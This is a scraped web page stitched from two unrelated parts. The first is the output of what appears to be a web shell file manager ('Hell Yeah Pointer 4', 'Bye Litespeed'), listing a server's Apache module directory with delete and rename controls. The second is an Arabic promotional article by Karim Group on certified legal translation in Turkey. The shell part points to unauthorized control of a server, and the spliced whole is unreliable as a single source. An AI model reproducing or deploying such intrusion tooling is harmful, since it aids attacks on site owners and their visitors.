Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-10 18:34:49
curdir: / / usr / lib64 / apache2 / modules / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 13:26:53 0755
.. 4096 2025-12-09 20:21:14 0755
mod_access_compat.so 12080 2025-12-09 20:21:24 0755
mod_actions.so 12024 2025-12-09 20:21:24 0755
mod_alias.so 20344 2025-12-09 20:21:24 0755
mod_auth_basic.so 16216 2025-12-09 20:21:24 0755
mod_authn_core.so 16224 2025-12-09 20:21:24 0755
mod_authn_file.so 12024 2025-12-09 20:21:24 0755
mod_authz_core.so 24608 2025-12-09 20:21:24 0755
mod_authz_groupfile.so 16160 2025-12-09 20:21:24 0755
mod_authz_host.so 16160 2025-12-09 20:21:24 0755
mod_authz_user.so 12008 2025-12-09 20:21:24 0755
mod_autoindex.so 40928 2025-12-09 20:21:24 0755
mod_bwlimited.so 14280 2020-10-12 03:07:49 0755
mod_cache.so 78808 2025-12-09 20:21:24 0755
mod_cache_disk.so 36944 2025-12-09 20:21:24 0755
mod_cache_socache.so 36952 2025-12-09 20:21:24 0755
mod_cgid.so 45192 2025-12-09 20:21:24 0755
mod_deflate.so 36824 2025-12-09 20:21:24 0755
mod_dir.so 16128 2025-12-09 20:21:24 0755
mod_expires.so 16160 2025-12-09 20:21:24 0755
mod_fcgid.so 512080 2020-10-13 12:33:50 0755
mod_file_cache.so 16152 2025-12-09 20:21:24 0755
mod_filter.so 20272 2025-12-09 20:21:24 0755
mod_headers.so 24600 2025-12-09 20:21:24 0755
mod_include.so 53384 2025-12-09 20:21:24 0755
mod_log_config.so 33168 2025-12-09 20:21:24 0755
mod_logio.so 12152 2025-12-09 20:21:24 0755
mod_lsapi.so 149208 2025-09-03 17:13:38 0755
mod_mime.so 24464 2025-12-09 20:21:24 0755
mod_mime_magic.so 28592 2025-12-09 20:21:24 0755
mod_mpm_worker.so 49224 2025-12-09 20:21:24 0755
mod_negotiation.so 36848 2025-12-09 20:21:24 0755
mod_passenger.so 4114528 2025-12-07 15:10:22 0755
mod_proxy.so 169488 2025-12-09 20:21:24 0755
mod_proxy_fcgi.so 36680 2025-12-09 20:21:24 0755
mod_proxy_http.so 44936 2025-12-09 20:21:24 0755
mod_proxy_wstunnel.so 24368 2025-12-09 20:21:24 0755
mod_remoteip.so 32736 2025-12-09 20:21:24 0755
mod_rewrite.so 82192 2025-12-09 20:21:24 0755
mod_security2.so 941112 2025-11-18 21:18:52 0755
mod_setenvif.so 16184 2025-12-09 20:21:24 0755
mod_slotmem_shm.so 20336 2025-12-09 20:21:24 0755
mod_socache_dbm.so 20264 2025-12-09 20:21:24 0755
mod_socache_memcache.so 16176 2025-12-09 20:21:24 0755
mod_socache_shmcb.so 28520 2025-12-09 20:21:24 0755
mod_ssl.so 266000 2025-12-09 20:21:24 0755
mod_status.so 28440 2025-12-09 20:21:24 0755
mod_suexec.so 12016 2025-12-09 20:21:24 0755
mod_systemd.so 12040 2025-12-09 20:21:24 0755
mod_unique_id.so 12000 2025-12-09 20:21:24 0755
mod_unixd.so 16168 2025-12-09 20:21:24 0755
mod_userdir.so 12032 2025-12-09 20:21:24 0755
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.